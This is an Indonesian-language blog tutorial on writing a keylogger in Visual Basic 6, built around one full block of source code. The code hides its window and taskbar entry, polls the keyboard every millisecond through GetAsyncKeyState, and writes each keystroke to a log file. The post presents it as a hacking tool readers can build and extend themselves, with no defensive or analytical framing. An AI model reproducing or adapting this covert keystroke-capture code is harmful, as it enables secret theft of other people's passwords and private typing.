Cara Membuat KeyLogger Dengan Visual Basic

Rifqi's Blog - Sebagaimana kita tau, keylogger merupakan software pengintai apa yang kita ketikkan di keyboard komputer kita. dalam dunia hacking, cracking pokoknya keylogger sendiri sudah tidak asing lagi di telinga kita.

untuk itu dalam tutorial kali ini saya akan membahas bagaimana sih membuat sebuah aplikasi pendeteksi inputan keyboard komputer dengan Visual Basic 6.

Di Luar sana banyak sekali aplikasi keylogger yang sudah tersedia dan siap pakai, tapi kenapa kita tidak  membuatnya sendiri ? kita bisa mengembangkan sendiri keylogger tersebut sesuai mau kita. Oke langsung aja saya beritahu tutorialnya.

Hal yang pertama kita lakukan adalah buka Visual Basic 6 nya, kemudian buatlah sebuah project Standard.exe ( lihat gambar )

Setelah itu tambahkan sebuah timer ( pada bagian kiri ) dengan nama Timer1 yang intervalnya 1

           

Setelah itu tambahkan Code di bawah ini ke dalam form : ( klik kanan pada Form, kemudian View Code )

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Type TList kode As Integer bawah As String atas As String End Type Private List(1 To 255) As TList Private IndexList As Integer Private Sub AddToTable(kode As Integer, atas As String, bawah As String) IndexList = IndexList + 1 List(IndexList).kode = kode List(IndexList).atas = atas List(IndexList).bawah = bawah End Sub Private Sub Build_Table() Dim i As Integer For i = 65 To 90 AddToTable i, Chr(i), Chr(i + 32) Next i AddToTable 48, ")", "0" AddToTable 49, "!", "1" AddToTable 50, "@", "2" AddToTable 51, "#", "3" AddToTable 52, "$", "4" AddToTable 53, "%", "5" AddToTable 54, "^", "6" AddToTable 55, "&", "7" AddToTable 56, "*", "8" AddToTable 57, "(", "9" AddToTable &H60, "", "0" AddToTable &H61, "", "1" AddToTable &H62, "", "2" AddToTable &H63, "", "3" AddToTable &H64, "", "4" AddToTable &H65, "", "5" AddToTable &H66, "", "6" AddToTable &H67, "", "7" AddToTable &H68, "", "8" AddToTable &H69, "", "9" ' AddToTable Asc(" "), " ", " " End Sub Private Sub Form_Load() Me.Visible = False App.TaskVisible = False Build_Table End Sub Private Sub AddToFile(Isi As String) Dim Data As String Dim FileHandler As Long If (Dir(App.Path & "\mylog.txt") <> "") Then FileHandler = FreeFile Open App.Path & "\mylog.txt" For Input As #FileHandler Data = Input(LOF(FileHandler) - 2, #FileHandler) Close #FileHandler End If FileHandler = FreeFile Open App.Path & "\mylog.txt" For Output As #FileHandler Print #FileHandler, Data & Isi Close #FileHandler End Sub Private Sub Timer1_Timer() Dim i As Integer Dim a, b As Integer For i = LBound(List) To UBound(List) a = GetAsyncKeyState(List(i).kode) b = GetAsyncKeyState(16) If (a = -32767) Then If (b = -32768) Then AddToFile List(i).atas Else AddToFile List(i).bawah End If Exit For End If Next End Sub

Simpan project KeyLogger tadi ke dalam satu folder dan tambahkan sebuah file txt dengan nama mylog.txt ( tidak ditambahkan juga tidak apa-apa ) setelah itu jalankan.

Untuk mencobanya anda ketikkan apa saja di keyboard, lalu anda buka file mylog.txt di dalam folder project keylogger tadi. maka anda akan melihat apa yang sudah anda ketikkan tadi.

Untuk software nya, bisa di download di sini

Jika ada yang ditanyakan, silakan berkomentar di bawah ...